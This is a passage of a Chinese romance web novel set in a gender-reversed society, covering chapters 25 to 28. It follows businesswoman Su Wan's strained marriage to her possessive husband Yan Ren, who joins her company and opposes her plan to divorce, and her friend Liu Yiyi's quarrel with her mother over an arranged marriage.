银行长哪懂这些弯绕,她只当苏婉是怕流言蜚语惹得家中夫郎不快,摇头叹道:"苏当家怕是我们商行里最重情的一个了。"
"呵。"苏婉突然笑出声,她垂下眼睫,遮住眸中翻涌的暗色,她哪有那么良善?
现在小红楼那些男子的苦,多半还有她一部分助力。
她不是好人,也从不深究事情为何会变成这样,她本就是心甘情愿的帮凶。
利益当前,她要维护自己人。
银行长摇头签下合同,又闲聊几句便告辞了。
身后包厢门"吱呀"推开,复又轻轻合拢。
苏婉独坐茶室,展开素白手帕,一点点揩净手背上的茶渍。
她平息着听到此事的怒火,直到夜色已深了,月光像层霜似的铺在青石板上,她才抬头望着那轮惨白的月亮,希望今夜千万别遇见宴刃,她实在…不想见他。
可正如苏婉预料的那样,宴刃此刻正倚在窗边等候她。
他大敞着雕花木窗,任由春风卷细雨灌进来,冻得指尖发红也不在意。
月光将他的侧脸镀上一层冷釉,他凝神听着远处可能传来的引擎声,这年头汽车稀少,若真有车轮碾过积雪的声响,定是苏婉回来了。
"怎么还不回来……"宴刃低声呢喃,春天的潮湿空气沾湿了他的衣裳,隐约透出肉色。
从日头西斜等到月上中天,这宅子里的光阴仿佛被拉长了数倍。
没有苏婉,便无安全感。
或许是因为外面的世界太广阔,衬得这座宅院愈发逼仄,宴刃恍惚想起从前,那时竟还觉得这里宽敞得很,原来人被囚在方寸之地时,光阴会这般难熬?
"夫郎,您先歇歇吧,家主哪似您这般清闲?"擦地的佣人突然嘟囔,"您杵这儿等一整天了,家主回来看见要责骂我们可怎么办。"
宴刃猛地转身!
他脸色煞白如纸,几步冲到对方面前,"谁在等她?!"
他的声音似从齿缝挤出,含戾道,"谁给你的狗胆揣测我?信不信我立时让你滚出门去?!"
佣人未料他毫不领情,鼻腔哼出嗤笑:"就凭您?家主人那么好,怎么会为个男人责罚我们?"
宴刃浑身筛糠般抖起来,指甲深深掐进掌心,几乎渗出血丝。
苏婉闻声而至,心里就已了然,宴刃这分明是崩溃前兆,若在从前,以宴刃的理智,哪里会和佣人置气?
但此刻他哪顾体面?连个佣人都以为能践踏他?!
屈辱在胸腔沸滚,将最后体面烧作飞灰,他不可能是一个期期艾艾等个妻主的夫郎,她们凭什么误解他?
银行长的话犹在耳边,过往也如画拂过眼前,可苏婉看见宴刃惨白的脸色时,心头那点疲惫终化成酸涩。
或许是他现在太无力了,像个无害又漂亮的兔子,让人心生怜惜。
宴刃攥紧的拳头微微发抖,指节都泛了青白,他此刻却突然哑着嗓子问:"苏婉……从前那些人,也是这般说你的么?"
原来他哪怕在怒意中也注意到了苏婉的到来。
月光漏过窗棂,在他低垂眼睫下投落一片颤动的阴影。
这个问题问得突兀,苏婉却明白,宴刃此刻的失态,是在别人轻蔑的眼神里,看见了从前的自己。
苏婉叹息,轻轻点了点头。
宴刃突然剧烈地咳嗽起来,单薄的肩膀像折翼的蝴蝶般簌簌发抖。
等终于平复呼吸时,他哑着嗓子问:"那你…为何从不与我说?"
"说了有什么用呢,就像我现在能帮到你什么吗?"苏婉轻笑,才过去几个星期,但她现在需要很努力才能回想起当年的心境。
窗外的四季青被风吹得簌簌作响,她望着地上摇晃的树影,目光怎么也不肯落在宴刃身上,她轻声道:"那时觉得…她们说的本就是事实,何必让你徒增烦恼。"
"说到底…"苏婉声音轻得像是叹息,"那些佣人短工都是你雇来的,我没为她们花过一文钱。"
她望着宴刃的目光是那么的柔和,仿佛宽广的江面,无论遭受过什么都波澜不惊,"几句难听话,在我这儿还算不得
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什么糟心事。"
宴刃的呼吸明显滞了一瞬。
"所以当时觉得…"苏婉伸手拢了拢被夜风吹散的发丝,低头叹息,"自己消化消化就好。反正…我们不是说好了吗?那样的日子不会一直过下去的。"
月光在她睫毛下投出细碎的阴影,她们早已经决定要离婚的。
"……"
"就算我真的与你说了,有些事情也只有真正身处其中的人才会明白。"
宴刃如今不再是那个高高在上的掌权者,再也没法轻描淡写地说出"别在意旁人眼光"这样的话。
那些刀子般的视线、毒箭似的闲言,原来真能一寸寸削去人的骨血。
窗外的四季青在风中摇晃,投下的影子像极了那些指指点点的手。
如今宴刃被困在这深宅大院里,能做的无非是摆弄几盆花草,勉强咽下几口饭食。彼此都心知肚明,宴刃从来就不是爱侍弄花草的人。
他的身影越发少年单薄感,比起从前,消瘦得太过明显,宽大的衣袍空荡荡地灌满夜风,都能看见肩胛骨的轮廓。
那阵阵压抑的咳嗽声,不单是咳疾发作,更是某种郁结于心的病症,那些看不见的心结,正像藤蔓般将他越缠越紧。
但这样的心结,终究只能由他自己慢慢熬过去,苏婉虽然能理解宴刃的痛苦,却也不得不承认,她无论如何都不愿让时光倒流到从前。
宴刃必定是苦的,他苦在能记得一切,苦在清晰地看到曾经拥有的一切烟消云散,甚至她人已上青云。
那些年他拼命奋进,甚至不惜变得刻薄寡恩,就是为了挣脱家族的桎梏,如今他确实离开了那个牢笼,却成了依附她人的夫郎。
他现在的境遇,与他当初想象的截然不同。
"你不喜欢她,那就辞退吧。"苏婉揉着额角,显而易见的疲惫。
月光透过窗棂,在他苍白的脸上投下斑驳的阴影,曾经紧握的权利,如今都化作了指间流沙。
就连最简单的出门,都感到恐惧,现在的他,和废物有什么区别?
25. 第二十五章 苏婉24
他甚至开始期盼苏婉可以陪他久一点,她永远只存在短短的一会,她有太多的事情要处理,他占据的只是她极少的空闲时间。
从家出发那段准备时间,回家休息的疲惫时间。
月光下,宴刃抬眸,眼眸湿润朝苏婉走去。
苏婉不等他再多说什么,她感到些许失控,她心中有一个流沙瓶,每一粒沙子都在催促她快些离开,今日也是如此,苏婉留下只言片语,便匆匆离去。
宴刃想说的话还没有开口,看着她的背影,为此感到痛苦。
她是这世上唯一知晓他全部的人,却……这股痛苦都要变成怨恨了。
他捂住双眼,咬住后牙槽,他多想不顾一切冲上去拽住她的衣袖,将那些辗转反侧的心事一股脑倾倒而出。
他知道苏婉是极好的人,她维护他,也体贴他。
是因为那些连他自己都理不清的旧日情分?
宴刃突然剧烈地咳嗽起来,单薄的肩膀在黑暗中颤抖,蹒跚地走向阁楼,这陡楼梯,爬起来可真累啊。
他当真体会过苏婉当年的痛苦吗?
那时苏婉身子弱,他却从未带她出过门,没看过春日樱花,没尝过城南最时兴的糕点,连她最爱的笔墨材料也都吝于相赠。
在旁人眼里,苏婉不过是他厌弃的累赘。
"至少现在...她还愿意费心照顾我。"宴刃自嘲地想着,却突然被这个念头刺痛得几乎窒息。
这就够了吗?
心底还有个声音在尖叫,不够!远远不够!
她欠我的何止这些?黑暗在胸腔里越积越深。
宴刃死死攥着扶手,指节发白,他恶毒地希望苏婉也再尝尝这种滋味,凭什么就他一个人囚在深宅,品味被全世界遗忘的绝望?
他在窗玻璃上的倒影是扭曲的,陌生的,是他厌恶的模样。
他深深喘息闷咳着,停下上楼的步伐,往下走去,在夜色中打开酒窖的门,与自己买醉。
他在感恩与怨憎之间来回拉扯,可宴刃始终没意识到,他从未真正想过要与苏婉分开。
她们相识太久,久到他早已将苏婉的存在视为理所当然,他也笃信她不会离开。
他的行动声没有遮掩,也没有人敢上前提醒,佣人们吓得不轻,就连廊下新来的丫头都正瑟瑟发抖地擦着花瓶,生怕一个不小心就步了前人后尘。
她们清楚之前别苑的佣人是为什么被辞退,可没想到近日一句话的功夫走了一个姐姐。
次日,晨光熹微,宴刃从混沌的梦境中挣扎醒来。
早餐时分,宴刃忽然放下筷子,"我不想...再这样下去了。"他的声音还带着晨起的沙哑,"我跟你去公司,给我安排个职位。"
苏婉闻言,夹着水晶虾饺的筷子微微一顿。
"好,那今天一起走吧。"她从未想过要将宴刃永远囚在这四方天地里,他愿意做事也好。
蒸笼腾起的热气模糊了彼此的神情,她们之间的距离总是忽远忽近。
这些天来,宴刃虽不曾踏出宅门,但外头的风言风语也从未停止侵扰过,在这方小天地里,能守着这份清净,可这种死寂般的清净对于他来说也是痛苦的。
春雨滴滴答答,檐角滴落的雨珠在青石板上溅起又消散,她们之间那些尖锐的痛苦,似乎终于被时光打磨成了可以触碰的往事。
至少,苏婉可以做到不在意,她平静接受到来的事情。
而宴刃坐在长桌另一端,指尖却无意识地摩挲着青瓷碗沿,心底翻涌的阴暗念头让他既痛苦又甜蜜。
世上怎会有苏婉这样好的人?她可知此刻自己正被怎样算计着?
他无法接受这样的生活,他骨子里仍渴望着将她踩在脚下,他希望回到以往的制度。
他喉头发紧,他不会屈服于这些规则,他不
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会永远屈居人下。
他想起从前那些对苏婉的窥视,那究竟是在看真实的苏婉,还是在看他臆想中的幻影?
他逐渐分不清现实和虚幻,两种记忆在撕扯他的神经,他会因为苏婉的一举一动擅动妄念。
他突然低笑出声,他就连一心扑在事业上的时候,也不忘刻意在四季青下经过她窗前的清晨,又何尝不是执念?
他早已经深深地被她影响了,自以为心无旁骛地培养心腹、结交权贵,是为了想让父亲多看一眼。
可他拼命做出的成绩,在那双冷漠的眼睛里看到赞许后,野心渐长要的不再是认可,而是要将那个男人踩在脚下,成为令他不得不仰视的存在。
他捏着他的执念过了十多年,可直到此刻,宴刃才恍惚意识到,自己或许总做出荒谬至极的错误,所以人生中珍贵的东西,总是在不知不觉中消逝。
就像他此刻一般,他不停满足自己的需求,却一直在输,从很久以前就开始输了。
苏婉与宴刃并排坐在后座,中间隔着礼貌的距离,一路无话,只有窗外飞速掠过的城市光影在两人脸上明明灭灭,引擎的节奏似乎也感染了车厢内的沉闷,开得缓慢。
下车的时候,宴刃熟练地整理了自己的喉结带,以最得体的模样见人。
苏婉并不了解宴刃之前的工作,先把他安排到秘书一职上,这算个闲职,可宴刃保留着过往的记忆和浸染权力场多年的直觉,以至于世界虽然翻天覆地,在纷繁复杂的事务处理上,他依旧展现出令人侧目的实力。
复杂的报表、模糊的条款、潜在的陷阱,在他眼中仿佛被瞬间拆解成清晰的脉络,他在不同项目间游刃有余,在工作中闪闪发光。
苏婉从未见过宴刃这一面,他在谈判桌上言辞精准、周身散发着不容置疑的掌控力。
她的目光总是不自觉地落在他身上,带着一丝陌生而复杂的审视。
26. 第二十六章 苏婉25
很快公司其他人也发现,宴刃确实能提供独特的价值,他既能以局内人的敏锐指出细节疏漏,又能以局外人的清醒给出客观建议。
如果说宴刃像钻石,那么苏婉就像翡翠,她做事得比较慢,每一步都力求稳妥,稳扎稳打地在每个经手的项目上都细细积累着属于她自己的经验。
她更像一棵向下扎根的树,根基深厚。
某次会议上,当他轻描淡写点破某个合作方隐藏的算计时,苏婉看着宴刃那微微上扬的、带着一丝了然和冷诮的嘴角,也忍不住微微弯起了唇角。
她摩挲着手上的企划书,感叹时间真的很神奇,一眨眼已经过去那么多年了。而记忆总会不自觉地美化一些东西,特别是长期的记忆,它不会记得每一刻的悲欢离合,那些尖锐的痛楚会被磨平棱角,那些琐碎的温情会被放大,记忆不断地更新、整合、筛选,最终编织成一个连贯的叙事。
让她在近期也偶尔会觉得,或许我们也有过美好记忆的错觉。
苏婉摇头,会议结束后她整理了材料,去找宴刃商议,刚到办公室门口就听到里面毫无预兆地爆发出激烈的争吵声,尖锐的女声和压抑的男声交织,像金属刮擦玻璃。
苏婉推开门,正对上宴刃的面庞,他眉头瞬间拧紧,脸上毫不掩饰地浮起一层浓重的厌烦。
他时常控制不住脾气,尤其是在面对他认为效率低下的人时,那种这些人为何如此蠢笨的嫌弃感几乎要溢出来。
苏婉无奈地叹气,熟练入场解围。
而宴刃震惊的是苏婉惊人的学习能力,这个看似温吞的女人,掌握新事物的速度快得令人咋舌。
她在各个领域都展现出不俗的天赋,只是这些天赋都被包裹在那副温柔得过分的皮囊下,又因她过分真诚的性子,显得有种近乎笨拙的老实。
宴刃提点了一嘴,她就能在下次的谈判桌上,轻巧识破对方设下的数字陷阱,那双总是含着笑意的眼睛会突然变得锐利如刀。
那一刻,他浑身都打了一个激灵,刺痛贯彻全身,他被打击到了。
可与苏婉这样的人成为事业伙伴,确实令人安心。
她身上有种与生俱来的信服力,那正是权力的根基,宴刃越是了解工作中的她,就越清晰地意识到,如果之前苏婉提出要当女商人那一次,他也如同苏婉这样排除众意带她一起共事,那么此时此刻苏婉根本不需要他的提点,她自己就能做得如鱼得水。
从前的苏婉不是不耀眼,她只是没有机会。
所以在这个全新的世界,她单凭自己就能走得又快又稳,甚至能攀得更高。
那他要认输吗?承认苏婉比他好?
宴刃拉紧嘴角,他不屑认输,他要做得比以往更好,要用自己的光芒盖过她的光彩。
"凭什么在这样的世界,我就不能登顶?"
这个念头在宴刃心底疯长,他沉浸在这样的野心中,窗外骤雨终于歇下,积水倒映着他的侧脸,就像照见了一个陌生的灵魂。
他行事张扬,所作所为从不加掩饰,有人隐晦地向苏婉告状。
"我了解他,"苏婉只是平静地说,"他会这样做很正常。"
旁人露出怪异的神色,面面相觑,她这是在纵容他?
空气中弥漫着一种微妙的质疑,有人道,“可是男子本来就不应该出来工作,我们已经让他拿工资了,还要纵着他的性子?”
“他的性子这段时间也给大家很多帮助不是吗?磨灭他的个性很简单,把他关着、瞒着,让他什么都做不成,但是这又有什么意义?”苏婉抬眼看向众人,目光清澈却带着无形的压力,“你们觉得,压制他,对我们公司真有好处吗?”
这话表面是在为宴刃开脱,细想却别有深意,就像放任一头猛兽保持野性,既是对它本性的尊重,又何尝不是一种更危险的驯服方式?
一种以退为进的掌控。
午后的光线穿过玻璃窗,映得苏婉的侧脸忽明忽暗,一半在光里显得沉静,一半在阴影里透着莫测。
众人不得不承认,有了宴刃之后,公司的进展好了许多,现在她们之间也只是一些行为上的小摩擦,很轻松的就能解决。
更重要的是,宴刃与苏婉是婚姻关系,这里又是苏婉的公司。
姑娘们哪怕被真的戳到痛点,脸上火辣辣的,也不好真的撕破脸说什么,只能暗搓搓的希望宴刃早点摔个跟头,跌得灰头土脸才好,可惜他越战越勇,丝毫没有让人看笑话迹象。
即便是最不待见宴刃的苏母,在几次不得不打交道的场合后,也不得不捏着鼻子承认这段婚姻,因为宴刃本身不容忽视的优秀,勉勉强强地接受了她这个能力卓绝却桀骜不驯的夫郎。
苏婉在第一次回家后,常抽出时间陪母亲去茶室喝茶,今个也是如此,她又在这听她絮叨。
“我就说你当初怎么会去招惹她们家的人,”苏母拍着苏婉的手,眉头紧锁,语气里是浓浓的不解和一丝后怕,“那一家子,从上到下,就没一个是好相与的!”
“你们这样的感情,真是……”苏母欲言又止地打量着女儿沉静的眉眼,最终化作一声长长的叹息,"我看你这段时间,也不见得有多欢喜。"
窗外的雨又开始下了,好在是春雨,细细密密的,倒像风景,她的声音混着雨声变得模糊不清,“早知如此,当初就不该一时气急赶你出门…害得你身边现在连个真正知冷知热的贴心人照顾都没有。”
苏婉静静听着,指尖在微烫的青瓷杯沿缓缓划着圈,杯中的茶叶吸饱了水,正一片一片缓缓沉向杯底,像那些无法言说、只能沉淀下去的心思。
她们还在思索着这沉重的话题,窗外却突兀地传来了愈发清晰的争吵声,那拔高的女声听着竟有几分耳熟。
在母亲疑惑不解的眼光中,苏婉起身快步走到窗边,猛地推开厚重的木窗,冷风夹着湿气瞬间灌入,也让她清晰地看见了楼下庭院里,柳依依那带着怒意,无
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比熟悉的侧脸。
这种事情自然不好让母亲参与其中,苏婉立刻转身对母亲匆匆说了句,“抱歉,我去处理一下”。
她疾步离场,只留下母亲对着满室茶香发出叹息,“这孩子……”
待苏婉赶到时,柳依依正狠狠拍开柳母的手,力道大得让那妇人嘶得一声缩回手去。
“我说了我不可能跟你们回去的!”柳依依的声音尖利,带着破音的颤抖。
“都说了你爹没个亲生的样儿,看看他把你惯成啥德行,没规没矩的!”柳母也是怒气冲冲,嗓门洪亮,脸上涨得通红,两个人显然都不是什么好脾气,像两捆干燥的柴火,一点就着。
这空气里飘着点浓重的火药味,几乎能呛到人。
柳依依攥着的衣角已经被手心的汗浸得发黏发冷,心里的烦躁噼啪作响,随时炸得沸沸扬扬。
“谁家娃这么对娘,也不怕乡亲们笑话!”柳母也气急败坏。
柳依依的脸颊火烧火燎地红着,她死死低着头,根本不敢看周围人投来的或好奇或指责的视线,仿佛这场闹剧走到如此难堪的地步,全都是她柳依依一个人的错。
怎么?晚辈就一定要无条件接受父母的安排吗?那种“女从母命”、任人摆布的时代早就彻底过去了好吗!
横竖都是女儿的错,真是太不公平了!凭什么还能赖到她柳依依头上?
可这些愤怒的辩白,像一团湿透的棉絮死死堵在嗓子眼,咽不下也吐不出,噎得她胸口发闷,只能化作更激烈的抗拒动作。
柳母见硬的不行,又提起找人这茬,浑浊的泪水顺着粗糙的脸颊滚落,声音带着哭腔,“你只知道想着你自己!你离家出走倒是厉害,拍拍屁股就走!知不知道我和你爹我们找了你多久?腿都跑断了,心都要操碎了!”
她用布满老茧的手抹着眼泪,那模样确实有几分可怜。
"我还没准备好,再想想怎么了?!"柳依依面对这熟悉的哭诉攻势,只想立刻挖个洞钻进去逃走。
“还在想什么呢?”柳母的声调猛地拔高,带着恨铁不成钢的急切,“你已经20岁了!也不是什么不谙世事的小姑娘了!我们给你选的夫郎家世清白,人也老实肯干,样貌也端正,有什么不好?再等下去,等他年纪大了没法让你顺利怀上孩子,你该怎么办?难道要指望你弟弟给你养老送终?“
柳母越说越激动,一边哭一边忍不住抬手捶打柳依依的胳膊,”你弟弟是个男子!他终究是要嫁出去的!嫁出去的男人那就是泼出去的水,怎么能惦记家里这些东西?怎么能让你弟弟这么被人戳脊梁骨,说他贪图夫家的财产?到时候,他怕是连骨头都要被人啃干净喽!我们柳家的脸面往哪搁?”
柳依依被她捶打得生疼,“哪有你说得这么严重!”
苏婉在一旁听了一会,上前一步,声音温和却不容置疑地打断了她们,“伯父伯母,依依,这里人来人往不是说话的地方。我们去里面茶室谈吧。”
27. 第二十七章 苏婉26
柳依依发麻的头皮终于被拯救了,她像抓住救命稻草般,迫不及待地挣脱母亲的拉扯,快步奔向苏婉身后,寻求庇护。
老实说,以前她从未深想过关于父母家庭这些事,或者说,潜意识里她甚至觉得自己就该是个没有父母的人。
可如今她们真真切切地找上门来,那些被遗忘的、陌生的记忆碎片不断翻涌浮现,让她在这场充满指责与泪水的对话里,神情越发苍白难看。
苏婉了然地将她护在侧,温热的手掌轻轻拍打着她紧绷的后背,无声地传递着安抚的力量,然后将情绪激动的双方引向安静的茶室。
在弥漫着淡淡茶香的静谧空间里,苏婉耐心安抚着双方濒临崩溃的情绪。
柳母好歹是找到了失散的女儿,压在心口多年的大石落了地,虽然依旧苦涩,但好歹找回了一点理智,她艰涩地看向一直沉默低头的柳依依,声音带着颤抖的希冀和深藏的恐惧,“依依……难道……难道你真是打算不认我们这对没用的爹娘了吗?”
柳依依身体一僵,沉默半晌,最终只是用力地摇了摇头。
“柳依依没有这样想过,”苏婉适时开口,声音平稳而清晰,像在梳理一团乱麻,“她只是需要一些时间和空间。”
她看向柳母,眼神包容而坚定,“她这些年,并非无所事事。比如……”
苏婉将柳依依这几年的行程、学业状态、甚至一些小小的成就,一一清晰道来,条理分明带着令人信服的力量。
她的气场如同温润包容的暖流,说话有理有据,柳母听着听着,激动的情绪奇迹般地渐渐平复下来。
柳母眼睛里甚至慢慢透出一点欣慰的光,“原来…原来我娃在外面这么厉害。”
她喃喃道,紧绷的肩膀松弛了一些,没有了那种剑拔弩张、令人窒息的压迫感,柳依依紧绷的神经也终于得以喘息。
柳依依悄悄抬眼看了看母亲布满风霜的脸和那双盛满复杂情绪的眼睛,心底那层坚冰似乎裂开了一道缝隙,一丝属于血缘亲情的暖意和愧疚,开始缓慢地渗透出来。
柳依依迟钝地感受到柳母那份笨拙而沉重的拳拳爱意。
“好……”柳母深吸一口气,像是下了很大的决心,粗糙的手在膝盖上搓了搓,“依依,娘不逼你,娘……娘带着你爹,在你学校附近找个地方住,我们就陪你几天……看看你过得好不好,然后就回去忙地里的活计。”
她眼底全是不舍,但是依旧愿意去托举孩子的梦,“你好好读书,奔你的前程,只是…只是过年了,要记得回家看看爹娘…让娘看看你胖了瘦了……”
柳母说到最后,声音又带上哽咽。
柳依依鼻头一酸,低低应了一声:“……好。”
她有点想不明白,自己抗拒的到底是什么?她并不抗拒父母本身,也不是抗拒未来成家生子,只是无端端怕。
怕的是这个蛮横闯进她眼里的母亲太陌生了,怕的是她对于家庭的畏惧也很奇怪。
最近发生的事情都太陌生了,柳母忽然抓住她不由分说、强硬地塞给她一个素未谋面的夫郎,让她和一个陌生人捆绑一生?
她连对方是圆是扁都不知道,如何相处?如何托付终身?
一连串的意外将柳依依打傻了,突然多了个夫郎!
柳母对苏婉千恩万谢,粗糙的手紧紧握住苏婉的手腕,反复念叨着一定要她改日来家里吃顿便饭,尝尝她的手艺。
等到柳母的身影彻底消失在茶室外,柳依依才像泄了气的皮球,彻底放松下来,长长吁出一口气。
她一时间还不想触碰自家那团乱麻,思绪便不由自主地飘到了苏婉身上,下意识问道,“你最近和宴刃怎么样了?”
苏婉听到她试探性的发问,轻笑道,“我安排好了。”
“你总是爱为别人着想,你们公司的姐姐可给我说了宴刃不少坏话,听着可不像是好人家的男儿。”在柳依依眼中,宴刃行事乖张,明显是个不守夫道的主儿。
哪怕眼下还没出什么捅破天的大事,他那脑子……柳依依总觉得不太正常。
她已经在想着要怎么劝苏婉把这段关系画上句点。
“我知道,我也在做打算。”苏婉的声音很轻,带着思虑,“过一段时间,我就可以与宴刃去办理离婚手续。”
柳依依眼睛都亮了,甚至在外人眼中,苏婉对宴刃简直是痴情不改,没想到看似平静的苏婉已经打算离婚了。
“他现在在公司已经站稳了脚,到时候把别院留给宴刃安身,也会给他留下一大笔钱。”苏婉安抚揉着依依的头发,“别担心,我总会处理好的。”
苏婉是在深思熟虑后作出的决定,她想到母亲偶尔流露的、想要抱女嗣的期盼目光,宴刃是不可能成为合适的夫郎的,所以她得把寻找合适夫郎的计划提上日程。
柳依依欢呼雀跃,闹腾不停。
而这段话,每一个字,都清晰地落入了门外刚刚推开一条缝隙的宴刃耳中。
他猛地推开门,力道大得门板撞在墙上发出“砰”的一声闷响。
他站在门口,脸色阴沉得像暴雨前的天空,声音冰冷刺骨,带着压抑不住的尖锐,“怎么?离婚这种大事,都不需要通知我这个当事人一声吗?”
苏婉心头猛地一跳,抬眼正撞上他那双翻涌着风暴的眼睛。
“你现在这个表现……”宴刃的声音陡然拔高,被背叛的愤怒让他无法停下,“是想要摆脱我很久了吧!终于找到机会说出口了?”
“这就是你对我的报复?”宴刃摇头,发出一阵沉闷压抑的咳嗽和低笑,那笑声里浸满了苦涩和嘲弄,“如果我今天不来,你是不是就把一切都安排得妥妥当当?等着我像个提线木偶一样,顺着你精心画好的路线走?”
他脸上的肌肉扭曲着,呈现出一种近乎狰狞的神情,每个字都像是从牙缝里生生挤出来,淬着冰冷的毒,“想要把我彻底甩开?苏婉,你做梦!”
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他死死盯着眼前这个看似温婉,却总想逃离他的女人。
她怎么敢?!
怎么敢再次萌生离开他的念头!
窗外阳光依旧明媚灿烂,但柳依依却感觉一股寒意瞬间从脚底窜上脊背,忍不住打了个寒噤。
苏婉看着他濒临爆发的状态,深吸一口气,试图用平静浇灭他的怒火,“那你想要怎么样?我们每日都在按部就班,你读了那么多书,见识过那么多人情世故,你告诉我,我们这样的关系,正常吗?”
她望着他,眼神真挚而坦率,“我不是说现在立刻就要分开。我知道你需要时间适应,我可以给。但是,我们是不是应该去寻找一下……”
她的话语顿了顿,似乎在记忆中搜寻那个久远的片段,“寻找一下你当年对我说过的,那种能让你真正心动、让你情不自禁想要靠近的人?”
苏婉在他那足以冻结血液的愤怒目光中,依然坚持说完,“宴刃,当我了解得更多,经历得更多以后,我也会渴望拥有一份真挚、诚恳、热烈的感情扑向我,谁不会渴望这样一份爱情呢?”
宴刃垂在身侧的手不自觉地死死攥紧,指节因为用力而发出轻微的咯咯声,他胸腔仿佛有什么东西正在发出不堪重负的呻吟,即将彻底崩断。
他死死咬着后槽牙,牙根都隐隐作痛,心中翻涌着滔天的怒火与不甘。
“是啊,你们本来就不合适,都拖了几年了。”柳依依在一旁小声帮腔,试图给苏婉一个台阶。
“你们所有人!”宴刃猛地转向柳依依,眼神凌厉如刀,“都在劝她离开我?休想!你们不会如愿的!”
难道他宴刃就如此不堪,如此不值得留恋吗?
在苏婉面前,他终究不愿彻底失态。
他强压下几乎冲破喉咙的嘶吼,猛地转身,将脊背挺得笔直,装作一副云淡风轻的模样,大步离开了这个让他窒息的地方。
“怪不得你喜欢他,”柳依依看着宴刃离开时那挺直却难掩孤绝的背影,使劲拍了拍自己的脸颊,试图驱散那点寒意,“连发疯都疯得这么漂亮,跟幅画儿似的。色字头上一把刀啊,苏婉,要不得要不得!”
苏婉被她夸张的动作逗得噗嗤一笑,随即又化作一声极轻的低语,带着一丝不易察觉的怅惘:“是啊,要不起的。”
宴刃自然不知道他离开后发生的插曲。
他一路疾行,强迫自己收敛起所有外泄的情绪,回到工作的地方,他像戴上了一副完美的面具。
飘来的闲言碎语,他仿佛一句都没听见;旁人投来的意味深长的目光,他也全当没看见。只有等到夜深人静,万籁俱寂之时,那些被他强行镇压下去的愤懑、不甘和屈辱,才如同蛰伏的凶兽,在浓稠的黑暗中张牙舞爪地反扑回来。
他蜷缩在宽大床榻的一角,像一只受伤的困兽。
他蜷缩在床榻一角,指甲深深掐进掌心,那些不甘像毒蛇般撕咬着他的心脏,疼得他几乎窒息。
28. 第二十八章 苏婉27
宴刃死死咬住被角,将所有的呜咽都堵在喉咙里,绝不能让人发现,这个看似高傲的皮囊下,藏着怎样一个濒临崩溃的灵魂。
月光透过纱帐,照见他额角暴起的青筋,和那双布满血丝却倔强地圆睁着、不肯让泪水滑落的眼睛。
宴刃在心底冷笑,这些现在瞧不起他的人,总有一天要跪着求他,她们根本不知道他经历了什么。
他不会再犯同样的错误,上回那刻骨铭心的经历,至今想起仍让他后背窜起一股寒意。
“让我想想……”他强迫自己冷静,梳理思绪,“下一步的计划……起码那些碍眼的男佣,必须全部换掉。”
这次他要亲自挑选,每一个都要严格把关,这两天他已经撞见好几个不长眼的蠢货,竟敢借着端茶倒水的机会,偷偷对苏婉暗送秋波!
宴刃盘算着清理门户的计划,若这些人不识相,他不介意亲自到苏婉面前,一个个指出她们谄媚的嘴脸。
月光将他的脸埋在阴影中,孤单又神经质。
柳依依,这个他曾经的情人已经成了很大的阻碍,他必须找到一个合适的人选,一个能在苏婉耳边替他说好话、抵消柳依依负面影响的人。
他能察觉到苏婉留恋在他身上的目光,他不相信苏婉对他真的一点情意都没有了!在孤注一掷的思索之下,他做了一个疯狂的决定——刻意停掉了自己在服用的药。
果然,咳疾复发了,如同挣脱牢笼的猛兽,在深夜里疯狂反扑。
撕心裂肺的咳嗽声几乎要震碎他的肺腑,每一次喘息都带着灼痛,他的脸色苍白得如同最上等的白瓷,在月光下呈现出一种易碎的、非人般的美感。
他等了许久,她一直没来,她就在楼下,可她不上来,她真的不来救他……
她真的不爱他了吗?
滴答滴答,时间流逝,在又一阵剧烈的咳嗽间隙,他艰难地侧过头,视线模糊地投向床边,他看见了她曾穿过的杏色旗袍,在清冷的月光下泛着柔润的光泽,影影绰绰飘了过来,仿佛活着。
"又是这个幻觉……"宴刃自嘲地扯了扯嘴角,那件杏色旗袍仿佛在用怜悯的目光注视着他,就像在嘲笑他做了多么愚蠢的事。
他猛地闭上眼睛,试图驱散这恼人的幻象,却听见自己沙哑破碎的声音,不受控制地在寂静的黑暗中回荡开来,“苏婉……你必须同情我……你必须……”
那些无法对真实的苏婉宣之于口的威胁、祈求、扭曲的爱意,最终都化作了对着虚幻光影的痴狂呓语。
“你最好安分些。”他对着虚空中的幻影低语,声音嘶哑得像砂纸摩擦,"若敢对旁人动心,我定让你悔不当初。"
他不会向任何人承认,自己是一个需要怜悯的弱者。
可宴刃不知道的是,今晚悄然来到他床边,静静伫立,被月光勾勒出身形的,并非他臆想中的幻影。
苏婉低头望着月光下陷入噩梦、眉头紧锁的宴刃,眼前这个即使在睡梦中也透出偏执阴郁气息的男人,让她挪不开眼,却也想要止损。
她最终没有选择撞破宴刃的秘密,悄然后退,离开了这个弥漫着药味和压抑的房间。
离婚这件事,和那些不知从何处滋生的谣言,让他那么烦恼吗?重要到让他寝食难安,不惜自伤?
他为何就不能好好地过自己的生活?她当初明明也能咬牙做到了。
月光下,宴刃在脑海中执笔划过名册,在所想的名字上留下深深的红痕。
那些曾经胆敢在背后议论他是苏婉累赘的、那些曾轻视他依附女人而生的,都该从他的生命里,从苏婉的世界里,彻底消失。
他赌了一把,病得很重,没有等来苏婉,只是等来了医生。
这算什么?
从前,总是苏婉低声下气地、一遍遍说着对不起,如今,却换成了她面对他的失控和试探时,轻描淡写、甚至带着疏离地为他治病?
他真的绑不住她吗?
宴刃憎恶这些无关紧要的旁人,他与苏婉同住一个屋檐下,两人活得像是陌路人,明明近在咫尺,交心却成了奢侈。
她们之间缺失的,从来不是空间的距离,那些理不清的误会与隔阂,永远也理不清的误会与隔阂,沉甸甸地压着。
宴刃猛地爆发出一阵撕心裂肺的咳嗽,他眼角晶莹闪烁,已经不敢再去敲响苏婉的房门,毕竟她已经想要离婚了,他不想再从她口中得知比安静更冰冷、更伤人的真相。
一个更深的恐惧攫住了他,若是离开苏婉,他要怎么在这个飞速前进,又陌生可怕的世界稳住自己?
他是爱苏婉,还是需要苏婉呢?
苏婉的躲避,让他在一个个纠缠思索的夜里,陷入噩梦。
而苏婉的心绪,却如古井深潭般,一如既往地稳定。
时间如沙漏般一天天流逝,苏婉的公司精准地踩在了时代的风口浪尖上。
她本就天赋卓绝,早已是商界冉冉升起的新贵,光芒耀眼,如今,又有了宴刃这柄锋利无匹的剑为她开疆拓土,斩除荆棘。
众人看向她的目光,充满了难以言喻的复杂,惊叹于她翻手为云覆手为雨的能力,却又因她与宴刃之间的关系,在私下里暗自嘀咕,眼神闪烁。
